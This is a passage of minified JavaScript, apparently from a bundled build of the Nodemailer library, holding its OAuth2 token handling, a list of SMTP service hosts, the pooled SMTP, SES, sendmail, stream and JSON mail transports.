a;if(e)return t(e);try{a=JSON.parse(i.toString())}catch(e){return t(e)}if(!a||"object"!=typeof a)return this.logger.debug({tnx:"OAUTH2",user:this.options.user,action:"post"},"Response: %s",(i||"").toString()),t(new Error("Invalid authentication response"));let n={};if(Object.keys(a).forEach((t=>{n[t]="access_token"!==t?a[t]:(a[t]||"").toString().substr(0,6)+"..."})),this.logger.debug({tnx:"OAUTH2",user:this.options.user,action:"post"},"Response: %s",JSON.stringify(n)),a.error){let e=a.error;return a.error_description&&(e+=": "+a.error_description),a.error_uri&&(e+=" ("+a.error_uri+")"),t(new Error(e))}return a.access_token?(this.updateToken(a.access_token,a.expires_in),t(null,this.accessToken)):t(new Error("No access token"))}))}buildXOAuth2Token(t){let e=["user="+(this.options.user||""),"auth=Bearer "+(t||this.accessToken),"",""];return Buffer.from(e.join(""),"utf-8").toString("base64")}postRequest(t,i,a,n){let s=!1,o=[],r=0,p=e(t,{method:"post",headers:a.customHeaders,body:i,allowErrorResponse:!0});p.on("readable",(()=>{let t;for(;null!==(t=p.read());)o.push(t),r+=t.length})),p.once("error",(t=>{if(!s)return s=!0,n(t)})),p.once("end",(()=>{if(!s)return s=!0,n(null,Buffer.concat(o,r))}))}toBase64URL(t){return"string"==typeof t&&(t=Buffer.from(t)),t.toString("base64").replace(/[=]+/g,"").replace(/\+/g,"-").replace(/\//g,"_")}jwtSignRS256(t){t=['{"alg":"RS256","typ":"JWT"}',JSON.stringify(t)].map((t=>this.toBase64URL(t))).join(".");let e=i.createSign("RSA-SHA256").update(t).sign(this.options.privateKey);return t+"."+this.toBase64URL(e)}}}var It,Lt,Ot,Ht,Nt,zt,Mt,Pt,Bt,Ut,qt,Rt,Ft,Dt,Kt,$t,Gt,Qt,Vt,Xt,Jt,Wt={126:{host:"smtp.126.com",port:465,secure:!0},163:{host:"smtp.163.com",port:465,secure:!0},"1und1":{host:"smtp.1und1.de",port:465,secure:!0,authMethod:"LOGIN"},Aliyun:{domains:["aliyun.com"],host:"smtp.aliyun.com",port:465,secure:!0},AOL:{domains:["aol.com"],host:"smtp.aol.com",port:587},Bluewin:{host:"smtpauths.bluewin.ch",domains:["bluewin.ch"],port:465},DebugMail:{host:"debugmail.io",port:25},DynectEmail:{aliases:["Dynect"],host:"smtp.dynect.net",port:25},Ethereal:{aliases:["ethereal.email"],host:"smtp.ethereal.email",port:587},FastMail:{domains:["fastmail.fm"],host:"smtp.fastmail.com",port:465,secure:!0},"Forward Email":{aliases:["FE","ForwardEmail"],domains:["forwardemail.net"],host:"smtp.forwardemail.net",port:465,secure:!0},"Feishu Mail":{aliases:["Feishu","FeishuMail"],domains:["www.feishu.cn"],host:"smtp.feishu.cn",port:465,secure:!0},GandiMail:{aliases:["Gandi","Gandi Mail"],host:"mail.gandi.net",port:587},Gmail:{aliases:["Google Mail"],domains:["gmail.com","googlemail.com"],host:"smtp.gmail.com",port:465,secure:!0},Godaddy:{host:"smtpout.secureserver.net",port:25},GodaddyAsia:{host:"smtp.asia.secureserver.net",port:25},GodaddyEurope:{host:"smtp.europe.secureserver.net",port:25},"hot.ee":{host:"mail.hot.ee"},Hotmail:{aliases:["Outlook","Outlook.com","Hotmail.com"],domains:["hotmail.com","outlook.com"],host:"smtp-mail.outlook.com",port:587},iCloud:{aliases:["Me","Mac"],domains:["me.com","mac.com"],host:"smtp.mail.me.com",port:587},Infomaniak:{host:"mail.infomaniak.com",domains:["ik.me","ikmail.com","etik.com"],port:587},Loopia:{host:"mailcluster.loopia.se",port:465},"mail.ee":{host:"smtp.mail.ee"},"Mail.ru":{host:"smtp.mail.ru",port:465,secure:!0},"Mailcatch.app":{host:"sandbox-smtp.mailcatch.app",port:2525},Maildev:{port:1025,ignoreTLS:!0},Mailgun:{host:"smtp.mailgun.org",port:465,secure:!0},Mailjet:{host:"in.mailjet.com",port:587},Mailosaur:{host:"mailosaur.io",port:25},Mailtrap:{host:"live.smtp.mailtrap.io",port:587},Mandrill:{host:"smtp.mandrillapp.com",port:587},Naver:{host:"smtp.naver.com",port:587},One:{host:"send.one.com",port:465,secure:!0},OpenMailBox:{aliases:["OMB","openmailbox.org"],host:"smtp.openmailbox.org",port:465,secure:!0},Outlook365:{host:"smtp.office365.com",port:587,secure:!1},OhMySMTP:{host:"smtp.ohmysmtp.com",port:587,secure:!1},Postmark:{aliases:["PostmarkApp"],host:"smtp.postmarkapp.com",port:2525},"qiye.aliyun":{host:"smtp.mxhichina.com",port:"465",secure:!0},QQ:{domains:["qq.com"],host:"smtp.qq.com",port:465,secure:!0},QQex:{aliases:["QQ Enterprise"],domains:["exmail.qq.com"],host:"smtp.exmail.qq.com",port:465,secure:!0},SendCloud:{host:"smtp.sendcloud.net",port:2525},SendGrid:{host:"smtp.sendgrid.net",port:587},SendinBlue:{aliases:["Brevo"],host:"smtp-relay.brevo.com",port:587},SendPulse:{host:"smtp-pulse.com",port:465,secure:!0},SES:{host:"email-smtp.us-east-1.amazonaws.com",port:465,secure:!0},"SES-US-EAST-1":{host:"email-smtp.us-east-1.amazonaws.com",port:465,secure:!0},"SES-US-WEST-2":{host:"email-smtp.us-west-2.amazonaws.com",port:465,secure:!0},"SES-EU-WEST-1":{host:"email-smtp.eu-west-1.amazonaws.com",port:465,secure:!0},"SES-AP-SOUTH-1":{host:"email-smtp.ap-south-1.amazonaws.com",port:465,secure:!0},"SES-AP-NORTHEAST-1":{host:"email-smtp.ap-northeast-1.amazonaws.com",port:465,secure:!0},"SES-AP-NORTHEAST-2":{host:"email-smtp.ap-northeast-2.amazonaws.com",port:465,secure:!0},"SES-AP-NORTHEAST-3":{host:"email-smtp.ap-northeast-3.amazonaws.com",port:465,secure:!0},"SES-AP-SOUTHEAST-1":{host:"email-smtp.ap-southeast-1.amazonaws.com",port:465,secure:!0},"SES-AP-SOUTHEAST-2":{host:"email-smtp.ap-southeast-2.amazonaws.com",port:465,secure:!0},Sparkpost:{aliases:["SparkPost","SparkPost Mail"],domains:["sparkpost.com"],host:"smtp.sparkpostmail.com",port:587,secure:!1},Tipimail:{host:"smtp.tipimail.com",port:587},Yahoo:{domains:["yahoo.com"],host:"smtp.mail.yahoo.com",port:465,secure:!0},Yandex:{domains:["yandex.ru"],host:"smtp.yandex.ru",port:465,secure:!0},Zoho:{host:"smtp.zoho.com",port:465,secure:!0,authMethod:"LOGIN"}};function Yt(){if(Lt)return It;Lt=1;const t=Wt,e={};function i(t){return t.replace(/[^a-zA-Z0-9.-]/g,"").toLowerCase()}function a(t){let e=["domains","aliases"],i={};return Object.keys(t).forEach((a=>{e.indexOf(a)<0&&(i[a]=t[a])})),i}return Object.keys(t).forEach((n=>{let s=t[n];e[i(n)]=a(s),[].concat(s.aliases||[]).forEach((t=>{e[i(t)]=a(s)})),[].concat(s.domains||[]).forEach((t=>{e[i(t)]=a(s)}))})),It=function(t){return t=i(t.split("@").pop()),e[t]||!1}}function Zt(){if(Ht)return Ot;Ht=1;const t=e,i=function(){if(kt)return _t;kt=1;const t=Ct(),i=Y().assign,a=jt(),n=e;return _t=class extends n{constructor(t){if(super(),this.pool=t,this.options=t.options,this.logger=this.pool.logger,this.options.auth)switch((this.options.auth.type||"").toString().toUpperCase()){case"OAUTH2":{let t=new a(this.options.auth,this.logger);t.provisionCallback=this.pool.mailer&&this.pool.mailer.get("oauth2_provision_cb")||t.provisionCallback,this.auth={type:"OAUTH2",user:this.options.auth.user,oauth2:t,method:"XOAUTH2"},t.on("token",(t=>this.pool.mailer.emit("token",t))),t.on("error",(t=>this.emit("error",t)));break}default:if(!this.options.auth.user&&!this.options.auth.pass)break;this.auth={type:(this.options.auth.type||"").toString().toUpperCase()||"LOGIN",user:this.options.auth.user,credentials:{user:this.options.auth.user||"",pass:this.options.auth.pass,options:this.options.auth.options},method:(this.options.auth.method||"").trim().toUpperCase()||this.options.authMethod||!1}}this._connection=!1,this._connected=!1,this.messages=0,this.available=!0}connect(e){this.pool.getSocket(this.options,((a,n)=>{if(a)return e(a);let s=!1,o=this.options;n&&n.connection&&(this.logger.info({tnx:"proxy",remoteAddress:n.connection.remoteAddress,remotePort:n.connection.remotePort,destHost:o.host||"",destPort:o.port||"",action:"connected"},"Using proxied socket from %s:%s to %s:%s",n.connection.remoteAddress,n.connection.remotePort,o.host||"",o.port||""),o=i(!1,o),Object.keys(n).forEach((t=>{o[t]=n[t]}))),this.connection=new t(o),this.connection.once("error",(t=>{if(this.emit("error",t),!s)return s=!0,e(t)})),this.connection.once("end",(()=>{if(this.close(),s)return;s=!0;let t=setTimeout((()=>{if(s)return;let t=new Error("Unexpected socket close");this.connection&&this.connection._socket&&this.connection._socket.upgrading&&(t.code="ETLS"),e(t)}),1e3);try{t.unref()}catch(t){}})),this.connection.connect((()=>{if(!s)return this.auth&&(this.connection.allowsAuth||o.forceAuth)?void this.connection.login(this.auth,(t=>{if(!s){if(s=!0,t)return this.connection.close(),this.emit("error",t),e(t);this._connected=!0,e(null,!0)}})):(s=!0,this._connected=!0,e(null,!0))}))}))}send(t,e){if(!this._connected)return this.connect((i=>i?e(i):this.send(t,e)));let i=t.message.getEnvelope(),a=t.message.messageId(),n=[].concat(i.to||[]);n.length>3&&n.push("...and "+n.splice(2).length+" more"),this.logger.info({tnx:"send",messageId:a,cid:this.id},"Sending message %s using #%s to <%s>",a,this.id,n.join(", ")),t.data.dsn&&(i.dsn=t.data.dsn),this.connection.send(i,t.message.createReadStream(),((t,n)=>{if(this.messages++,t)return this.connection.close(),this.emit("error",t),e(t);n.envelope={from:i.from,to:i.to},n.messageId=a,setImmediate((()=>{let t;this.messages>=this.options.maxMessages?(t=new Error("Resource exhausted"),t.code="EMAXLIMIT",this.connection.close(),this.emit("error",t)):this.pool._checkRateLimit((()=>{this.available=!0,this.emit("available")}))})),e(null,n)}))}close(){this._connected=!1,this.auth&&this.auth.oauth2&&this.auth.oauth2.removeAllListeners(),this.connection&&this.connection.close(),this.emit("close")}}}(),a=Ct(),n=Yt(),s=Y(),o=J;return Ot=class extends t{constructor(t){let e;super(),"string"==typeof(t=t||{})&&(t={url:t});let i=t.service;"function"==typeof t.getSocket&&(this.getSocket=t.getSocket),t.url&&(e=s.parseConnectionUrl(t.url),i=i||e.service),this.options=s.assign(!1,t,e,i&&n(i)),this.options.maxConnections=this.options.maxConnections||5,this.options.maxMessages=this.options.maxMessages||100,this.logger=s.getLogger(this.options,{component:this.options.component||"smtp-pool"});let r=new a(this.options);this.name="SMTP (pool)",this.version=o.version+"[client:"+r.version+"]",this._rateLimit={counter:0,timeout:null,waiting:[],checkpoint:!1,delta:Number(this.options.rateDelta)||1e3,limit:Number(this.options.rateLimit)||0},this._closed=!1,this._queue=[],this._connections=[],this._connectionCounter=0,this.idling=!0,setImmediate((()=>{this.idling&&this.emit("idle")}))}getSocket(t,e){return setImmediate((()=>e(null,!1)))}send(t,e){return!this._closed&&(this._queue.push({mail:t,requeueAttempts:0,callback:e}),this.idling&&this._queue.length>=this.options.maxConnections&&(this.idling=!1),setImmediate((()=>this._processMessages())),!0)}close(){let t,e=this._connections.length;if(this._closed=!0,clearTimeout(this._rateLimit.timeout),!e&&!this._queue.length)return;for(let i=e-1;i>=0;i--)this._connections[i]&&this._connections[i].available&&(t=this._connections[i],t.close(),this.logger.info({tnx:"connection",cid:t.id,action:"removed"},"Connection #%s removed",t.id));if(e&&!this._connections.length&&this.logger.debug({tnx:"connection"},"All connections removed"),!this._queue.length)return;let i=()=>{if(!this._queue.length)return void this.logger.debug({tnx:"connection"},"Pending queue entries cleared");let e=this._queue.shift();if(e&&"function"==typeof e.callback)try{e.callback(new Error("Connection pool was closed"))}catch(e){this.logger.error({err:e,tnx:"callback",cid:t.id},"Callback error for #%s: %s",t.id,e.message)}setImmediate(i)};setImmediate(i)}_processMessages(){let t,e,i;if(this._closed)return;if(!this._queue.length)return void(this.idling||(this.idling=!0,this.emit("idle")));for(e=0,i=this._connections.length;e<i;e++)if(this._connections[e].available){t=this._connections[e];break}if(!t&&this._connections.length<this.options.maxConnections&&(t=this._createConnection()),!t)return void(this.idling=!1);!this.idling&&this._queue.length<this.options.maxConnections&&(this.idling=!0,this.emit("idle"));let a=t.queueEntry=this._queue.shift();a.messageId=(t.queueEntry.mail.message.getHeader("message-id")||"").replace(/[<>\s]/g,""),t.available=!1,this.logger.debug({tnx:"pool",cid:t.id,messageId:a.messageId,action:"assign"},"Assigned message <%s> to #%s (%s)",a.messageId,t.id,t.messages+1),this._rateLimit.limit&&(this._rateLimit.counter++,this._rateLimit.checkpoint||(this._rateLimit.checkpoint=Date.now())),t.send(a.mail,((e,i)=>{if(a===t.queueEntry){try{a.callback(e,i)}catch(e){this.logger.error({err:e,tnx:"callback",cid:t.id},"Callback error for #%s: %s",t.id,e.message)}t.queueEntry=!1}}))}_createConnection(){let t=new i(this);return t.id=++this._connectionCounter,this.logger.info({tnx:"pool",cid:t.id,action:"conection"},"Created new pool resource #%s",t.id),t.on("available",(()=>{this.logger.debug({tnx:"connection",cid:t.id,action:"available"},"Connection #%s became available",t.id),this._closed?this.close():this._processMessages()})),t.once("error",(e=>{if("EMAXLIMIT"!==e.code?this.logger.error({err:e,tnx:"pool",cid:t.id},"Pool Error for #%s: %s",t.id,e.message):this.logger.debug({tnx:"pool",cid:t.id,action:"maxlimit"},"Max messages limit exchausted for #%s",t.id),t.queueEntry){try{t.queueEntry.callback(e)}catch(e){this.logger.error({err:e,tnx:"callback",cid:t.id},"Callback error for #%s: %s",t.id,e.message)}t.queueEntry=!1}this._removeConnection(t),this._continueProcessing()})),t.once("close",(()=>{this.logger.info({tnx:"connection",cid:t.id,action:"closed"},"Connection #%s was closed",t.id),this._removeConnection(t),t.queueEntry?setTimeout((()=>{t.queueEntry&&(this._shouldRequeuOnConnectionClose(t.queueEntry)?this._requeueEntryOnConnectionClose(t):this._failDeliveryOnConnectionClose(t)),this._continueProcessing()}),50):this._continueProcessing()})),this._connections.push(t),t}_shouldRequeuOnConnectionClose(t){return void 0===this.options.maxRequeues||this.options.maxRequeues<0||t.requeueAttempts<this.options.maxRequeues}_failDeliveryOnConnectionClose(t){if(t.queueEntry&&t.queueEntry.callback){try{t.queueEntry.callback(new Error("Reached maximum number of retries after connection was closed"))}catch(e){this.logger.error({err:e,tnx:"callback",messageId:t.queueEntry.messageId,cid:t.id},"Callback error for #%s: %s",t.id,e.message)}t.queueEntry=!1}}_requeueEntryOnConnectionClose(t){t.queueEntry.requeueAttempts=t.queueEntry.requeueAttempts+1,this.logger.debug({tnx:"pool",cid:t.id,messageId:t.queueEntry.messageId,action:"requeue"},"Re-queued message <%s> for #%s. Attempt: #%s",t.queueEntry.messageId,t.id,t.queueEntry.requeueAttempts),this._queue.unshift(t.queueEntry),t.queueEntry=!1}_continueProcessing(){this._closed?this.close():setTimeout((()=>this._processMessages()),100)}_removeConnection(t){let e=this._connections.indexOf(t);-1!==e&&this._connections.splice(e,1)}_checkRateLimit(t){if(!this._rateLimit.limit)return t();let e=Date.now();return this._rateLimit.counter<this._rateLimit.limit?t():(this._rateLimit.waiting.push(t),this._rateLimit.checkpoint<=e-this._rateLimit.delta?this._clearRateLimit():void(this._rateLimit.timeout||(this._rateLimit.timeout=setTimeout((()=>this._clearRateLimit()),this._rateLimit.delta-(e-this._rateLimit.checkpoint)),this._rateLimit.checkpoint=e)))}_clearRateLimit(){for(clearTimeout(this._rateLimit.timeout),this._rateLimit.timeout=null,this._rateLimit.counter=0,this._rateLimit.checkpoint=!1;this._rateLimit.waiting.length;){let t=this._rateLimit.waiting.shift();setImmediate(t)}}isIdle(){return this.idling}verify(t){let e;t||(e=new Promise(((e,i)=>{t=s.callbackPromise(e,i)})));let n=new i(this).auth;return this.getSocket(this.options,((e,i)=>{if(e)return t(e);let o=this.options;i&&i.connection&&(this.logger.info({tnx:"proxy",remoteAddress:i.connection.remoteAddress,remotePort:i.connection.remotePort,destHost:o.host||"",destPort:o.port||"",action:"connected"},"Using proxied socket from %s:%s to %s:%s",i.connection.remoteAddress,i.connection.remotePort,o.host||"",o.port||""),o=s.assign(!1,o),Object.keys(i).forEach((t=>{o[t]=i[t]})));let r=new a(o),p=!1;r.once("error",(e=>{if(!p)return p=!0,r.close(),t(e)})),r.once("end",(()=>{if(!p)return p=!0,t(new Error("Connection closed"))}));let c=()=>{if(!p)return p=!0,r.quit(),t(null,!0)};r.connect((()=>{if(!p)if(n&&(r.allowsAuth||o.forceAuth))r.login(n,(e=>{if(!p)return e?(p=!0,r.close(),t(e)):void c()}));else{if(!n&&r.allowsAuth&&o.forceAuth){let e=new Error("Authentication info was not provided");return e.code="NoAuth",p=!0,r.close(),t(e)}c()}}))})),e}},Ot}function te(){if(Dt)return Ft;Dt=1;const t=e,i=J,a=Y(),n=st();return Ft=class extends t{constructor(t){super(),t=t||{},this.options=t||{},this.ses=this.options.SES,this.name="SESTransport",this.version=i.version,this.logger=a.getLogger(this.options,{component:this.options.component||"ses-transport"}),this.maxConnections=Number(this.options.maxConnections)||1/0,this.connections=0,this.sendingRate=Number(this.options.sendingRate)||1/0,this.sendingRateTTL=null,this.rateInterval=1e3,this.rateMessages=[],this.pending=[],this.idling=!0,setImmediate((()=>{this.idling&&this.emit("idle")}))}send(t,e){return this.connections>=this.maxConnections?(this.idling=!1,this.pending.push({mail:t,callback:e})):this._checkSendingRate()?void this._send(t,((...t)=>{setImmediate((()=>e(...t))),this._sent()})):(this.idling=!1,this.pending.push({mail:t,callback:e}))}_checkRatedQueue(){if(this.connections>=this.maxConnections||!this._checkSendingRate())return;if(!this.pending.length)return void(this.idling||(this.idling=!0,this.emit("idle")));let t=this.pending.shift();this._send(t.mail,((...e)=>{setImmediate((()=>t.callback(...e))),this._sent()}))}_checkSendingRate(){clearTimeout(this.sendingRateTTL);let t=Date.now(),e=!1;for(let i=this.rateMessages.length-1;i>=0;i--)this.rateMessages[i].ts>=t-this.rateInterval&&(!e||this.rateMessages[i].ts<e)&&(e=this.rateMessages[i].ts),this.rateMessages[i].ts<t-this.rateInterval&&!this.rateMessages[i].pending&&this.rateMessages.splice(i,1);if(this.rateMessages.length<this.sendingRate)return!0;let i=Math.max(e+1001,t+20);this.sendingRateTTL=setTimeout((()=>this._checkRatedQueue()),t-i);try{this.sendingRateTTL.unref()}catch(t){}return!1}_sent(){this.connections--,this._checkRatedQueue()}isIdle(){return this.idling}_send(t,e){let i={ts:Date.now(),pending:!0};this.connections++,this.rateMessages.push(i);let a=t.data.envelope||t.message.getEnvelope(),s=t.message.messageId(),o=[].concat(a.to||[]);o.length>3&&o.push("...and "+o.splice(2).length+" more"),this.logger.info({tnx:"send",messageId:s},"Sending message %s to <%s>",s,o.join(", "));setImmediate((()=>(e=>{t.data._dkim||(t.data._dkim={}),t.data._dkim.skipFields&&"string"==typeof t.data._dkim.skipFields?t.data._dkim.skipFields+=":date:message-id":t.data._dkim.skipFields="date:message-id";let i=t.message.createReadStream(),a=i.pipe(new n),s=[],o=0;a.on("readable",(()=>{let t;for(;null!==(t=a.read());)s.push(t),o+=t.length})),i.once("error",(t=>a.emit("error",t))),a.once("error",(t=>{e(t)})),a.once("end",(()=>e(null,Buffer.concat(s,o))))})(((n,o)=>{if(n)return this.logger.error({err:n,tnx:"send",messageId:s},"Failed creating message for %s. %s",s,n.message),i.pending=!1,e(n);let r={RawMessage:{Data:o},Source:a.from,Destinations:a.to};Object.keys(t.data.ses||{}).forEach((e=>{r[e]=t.data.ses[e]}));let p=(this.ses.aws?this.ses.ses:this.ses)||{},c=this.ses.aws||{};var l;l=(t,n)=>{let l;!t&&n||(n="us-east-1"),l="function"==typeof p.send&&c.SendRawEmailCommand?p.send(new c.SendRawEmailCommand(r)):p.sendRawEmail(r).promise(),l.then((t=>{"us-east-1"===n&&(n="email"),i.pending=!1,e(null,{envelope:{from:a.from,to:a.to},messageId:"<"+t.MessageId+(/@/.test(t.MessageId)?"":"@"+n+".amazonses.com")+">",response:t.MessageId,raw:o})})).catch((t=>{this.logger.error({err:t,tnx:"send"},"Send error for %s: %s",s,t.message),i.pending=!1,e(t)}))},p.config&&"function"==typeof p.config.region?p.config.region().then((t=>l(null,t))).catch((t=>l(t))):l(null,p.config&&p.config.region||"us-east-1")}))))}verify(t){let e,i=(this.ses.aws?this.ses.ses:this.ses)||{},n=this.ses.aws||{};const s={RawMessage:{Data:"From: invalid@invalid\r\nTo: invalid@invalid\r\n Subject: Invalid\r\n\r\nInvalid"},Source:"invalid@invalid",Destinations:["invalid@invalid"]};t||(e=new Promise(((e,i)=>{t=a.callbackPromise(e,i)})));const o=e=>e&&"InvalidParameterValue"!==(e.code||e.Code)?t(e):t(null,!0);return"function"==typeof i.send&&n.SendRawEmailCommand?(s.RawMessage.Data=Buffer.from(s.RawMessage.Data),i.send(new n.SendRawEmailCommand(s),o)):i.sendRawEmail(s,o),e}}}function ee(){if(Kt)return b;Kt=1;const t=St(),i=Y(),a=Zt(),n=function(){if(zt)return Nt;zt=1;const t=e,i=Ct(),a=Yt(),n=Y(),s=jt(),o=J;return Nt=class extends t{constructor(t){let e;super(),"string"==typeof(t=t||{})&&(t={url:t});let s=t.service;"function"==typeof t.getSocket&&(this.getSocket=t.getSocket),t.url&&(e=n.parseConnectionUrl(t.url),s=s||e.service),this.options=n.assign(!1,t,e,s&&a(s)),this.logger=n.getLogger(this.options,{component:this.options.component||"smtp-transport"});let r=new i(this.options);this.name="SMTP",this.version=o.version+"[client:"+r.version+"]",this.options.auth&&(this.auth=this.getAuth({}))}getSocket(t,e){return setImmediate((()=>e(null,!1)))}getAuth(t){if(!t)return this.auth;let e=!1,i={};if(this.options.auth&&"object"==typeof this.options.auth&&Object.keys(this.options.auth).forEach((t=>{e=!0,i[t]=this.options.auth[t]})),t&&"object"==typeof t&&Object.keys(t).forEach((a=>{e=!0,i[a]=t[a]})),!e)return!1;if("OAUTH2"===(i.type||"").toString().toUpperCase()){if(!i.service&&!i.user)return!1;let t=new s(i,this.logger);return t.provisionCallback=this.mailer&&this.mailer.get("oauth2_provision_cb")||t.provisionCallback,t.on("token",(t=>this.mailer.emit("token",t))),t.on("error",(t=>this.emit("error",t))),{type:"OAUTH2",user:i.user,oauth2:t,method:"XOAUTH2"}}return{type:(i.type||"").toString().toUpperCase()||"LOGIN",user:i.user,credentials:{user:i.user||"",pass:i.pass,options:i.options},method:(i.method||"").trim().toUpperCase()||this.options.authMethod||!1}}send(t,e){this.getSocket(this.options,((a,s)=>{if(a)return e(a);let o=!1,r=this.options;s&&s.connection&&(this.logger.info({tnx:"proxy",remoteAddress:s.connection.remoteAddress,remotePort:s.connection.remotePort,destHost:r.host||"",destPort:r.port||"",action:"connected"},"Using proxied socket from %s:%s to %s:%s",s.connection.remoteAddress,s.connection.remotePort,r.host||"",r.port||""),r=n.assign(!1,r),Object.keys(s).forEach((t=>{r[t]=s[t]})));let p=new i(r);p.once("error",(t=>{if(!o)return o=!0,p.close(),e(t)})),p.once("end",(()=>{if(o)return;let t=setTimeout((()=>{if(o)return;o=!0;let t=new Error("Unexpected socket close");p&&p._socket&&p._socket.upgrading&&(t.code="ETLS"),e(t)}),1e3);try{t.unref()}catch(t){}}));let c=()=>{let i=t.message.getEnvelope(),a=t.message.messageId(),n=[].concat(i.to||[]);n.length>3&&n.push("...and "+n.splice(2).length+" more"),t.data.dsn&&(i.dsn=t.data.dsn),this.logger.info({tnx:"send",messageId:a},"Sending message %s to <%s>",a,n.join(", ")),p.send(i,t.message.createReadStream(),((t,n)=>{if(o=!0,p.close(),t)return this.logger.error({err:t,tnx:"send"},"Send error for %s: %s",a,t.message),e(t);n.envelope={from:i.from,to:i.to},n.messageId=a;try{return e(null,n)}catch(t){this.logger.error({err:t,tnx:"callback"},"Callback error for %s: %s",a,t.message)}}))};p.connect((()=>{if(o)return;let i=this.getAuth(t.data.auth);i&&(p.allowsAuth||r.forceAuth)?p.login(i,(t=>{if(i&&i!==this.auth&&i.oauth2&&i.oauth2.removeAllListeners(),!o)return t?(o=!0,p.close(),e(t)):void c()})):c()}))}))}verify(t){let e;return t||(e=new Promise(((e,i)=>{t=n.callbackPromise(e,i)}))),this.getSocket(this.options,((e,a)=>{if(e)return t(e);let s=this.options;a&&a.connection&&(this.logger.info({tnx:"proxy",remoteAddress:a.connection.remoteAddress,remotePort:a.connection.remotePort,destHost:s.host||"",destPort:s.port||"",action:"connected"},"Using proxied socket from %s:%s to %s:%s",a.connection.remoteAddress,a.connection.remotePort,s.host||"",s.port||""),s=n.assign(!1,s),Object.keys(a).forEach((t=>{s[t]=a[t]})));let o=new i(s),r=!1;o.once("error",(e=>{if(!r)return r=!0,o.close(),t(e)})),o.once("end",(()=>{if(!r)return r=!0,t(new Error("Connection closed"))}));let p=()=>{if(!r)return r=!0,o.quit(),t(null,!0)};o.connect((()=>{if(r)return;let e=this.getAuth({});if(e&&(o.allowsAuth||s.forceAuth))o.login(e,(e=>{if(!r)return e?(r=!0,o.close(),t(e)):void p()}));else{if(!e&&o.allowsAuth&&s.forceAuth){let e=new Error("Authentication info was not provided");return e.code="NoAuth",r=!0,o.close(),t(e)}p()}}))})),e}close(){this.auth&&this.auth.oauth2&&this.auth.oauth2.removeAllListeners(),this.emit("close")}}}(),s=function(){if(Pt)return Mt;Pt=1;const t=f.spawn,e=J,i=Y();return Mt=class{constructor(a){a=a||{},this._spawn=t,this.options=a||{},this.name="Sendmail",this.version=e.version,this.path="sendmail",this.args=!1,this.winbreak=!1,this.logger=i.getLogger(this.options,{component:this.options.component||"sendmail"}),a&&("string"==typeof a?this.path=a:"object"==typeof a&&(a.path&&(this.path=a.path),Array.isArray(a.args)&&(this.args=a.args),this.winbreak=["win","windows","dos","\r\n"].includes((a.newline||"").toString().toLowerCase())))}send(t,e){t.message.keepBcc=!0;let i,a,n,s=t.data.envelope||t.message.getEnvelope(),o=t.message.messageId();if([].concat(s.from||[]).concat(s.to||[]).some((t=>/^-/.test(t))))return e(new Error("Can not send mail. Invalid envelope addresses."));i=this.args?["-i"].concat(this.args).concat(s.to):["-i"].concat(s.from?["-f",s.from]:[]).concat(s.to);let r=i=>{if(!n)return n=!0,"function"==typeof e?i?e(i):e(null,{envelope:t.data.envelope||t.message.getEnvelope(),messageId:o,response:"Messages queued for delivery"}):void 0};try{a=this._spawn(this.path,i)}catch(t){return this.logger.error({err:t,tnx:"spawn",messageId:o},"Error occurred while spawning sendmail. %s",t.message),r(t)}if(!a)return r(new Error("sendmail was not found"));{a.on("error",(t=>{this.logger.error({err:t,tnx:"spawn",messageId:o},"Error occurred when sending message %s. %s",o,t.message),r(t)})),a.once("exit",(t=>{if(!t)return r();let e;e=127===t?new Error("Sendmail command not found, process exited with code "+t):new Error("Sendmail exited with code "+t),this.logger.error({err:e,tnx:"stdin",messageId:o},"Error sending message %s to sendmail. %s",o,e.message),r(e)})),a.once("close",r),a.stdin.on("error",(t=>{this.logger.error({err:t,tnx:"stdin",messageId:o},"Error occurred when piping message %s to sendmail. %s",o,t.message),r(t)}));let e=[].concat(s.to||[]);e.length>3&&e.push("...and "+e.splice(2).length+" more"),this.logger.info({tnx:"send",messageId:o},"Sending message %s to <%s>",o,e.join(", "));let i=t.message.createReadStream();i.once("error",(t=>{this.logger.error({err:t,tnx:"stdin",messageId:o},"Error occurred when generating message %s. %s",o,t.message),a.kill("SIGINT"),r(t)})),i.pipe(a.stdin)}}}}(),o=function(){if(Ut)return Bt;Ut=1;const t=J,e=Y();return Bt=class{constructor(i){i=i||{},this.options=i||{},this.name="StreamTransport",this.version=t.version,this.logger=e.getLogger(this.options,{component:this.options.component||"stream-transport"}),this.winbreak=["win","windows","dos","\r\n"].includes((i.newline||"").toString().toLowerCase())}send(t,e){t.message.keepBcc=!0;let i=t.data.envelope||t.message.getEnvelope(),a=t.message.messageId(),n=[].concat(i.to||[]);n.length>3&&n.push("...and "+n.splice(2).length+" more"),this.logger.info({tnx:"send",messageId:a},"Sending message %s to <%s> using %s line breaks",a,n.join(", "),this.winbreak?"<CR><LF>":"<LF>"),setImmediate((()=>{let i;try{i=t.message.createReadStream()}catch(t){return this.logger.error({err:t,tnx:"send",messageId:a},"Creating send stream failed for %s. %s",a,t.message),e(t)}if(!this.options.buffer)return i.once("error",(t=>{this.logger.error({err:t,tnx:"send",messageId:a},"Failed creating message for %s. %s",a,t.message)})),e(null,{envelope:t.data.envelope||t.message.getEnvelope(),messageId:a,message:i});let n=[],s=0;i.on("readable",(()=>{let t;for(;null!==(t=i.read());)n.push(t),s+=t.length})),i.once("error",(t=>(this.logger.error({err:t,tnx:"send",messageId:a},"Failed creating message for %s. %s",a,t.message),e(t)))),i.on("end",(()=>e(null,{envelope:t.data.envelope||t.message.getEnvelope(),messageId:a,message:Buffer.concat(n,s)})))}))}}}(),r=function(){if(Rt)return qt;Rt=1;const t=J,e=Y();return qt=class{constructor(i){i=i||{},this.options=i||{},this.name="JSONTransport",this.version=t.version,this.logger=e.getLogger(this.options,{component:this.options.component||"json-transport"})}send(t,e){t.message.keepBcc=!0;let i=t.data.envelope||t.message.getEnvelope(),a=t.message.messageId(),n=[].concat(i.to||[]);n.length>3&&n.push("...and "+n.splice(2).length+" more"),this.logger.info({tnx:"send",messageId:a},"Composing JSON structure of %s to <%s>",a,n.join(", ")),setImmediate((()=>{t.normalize(((t,n)=>t?(this.logger.error({err:t,tnx:"send",messageId:a},"Failed building JSON structure for %s. %s",a,t.message),e(t)):(delete n.envelope,delete 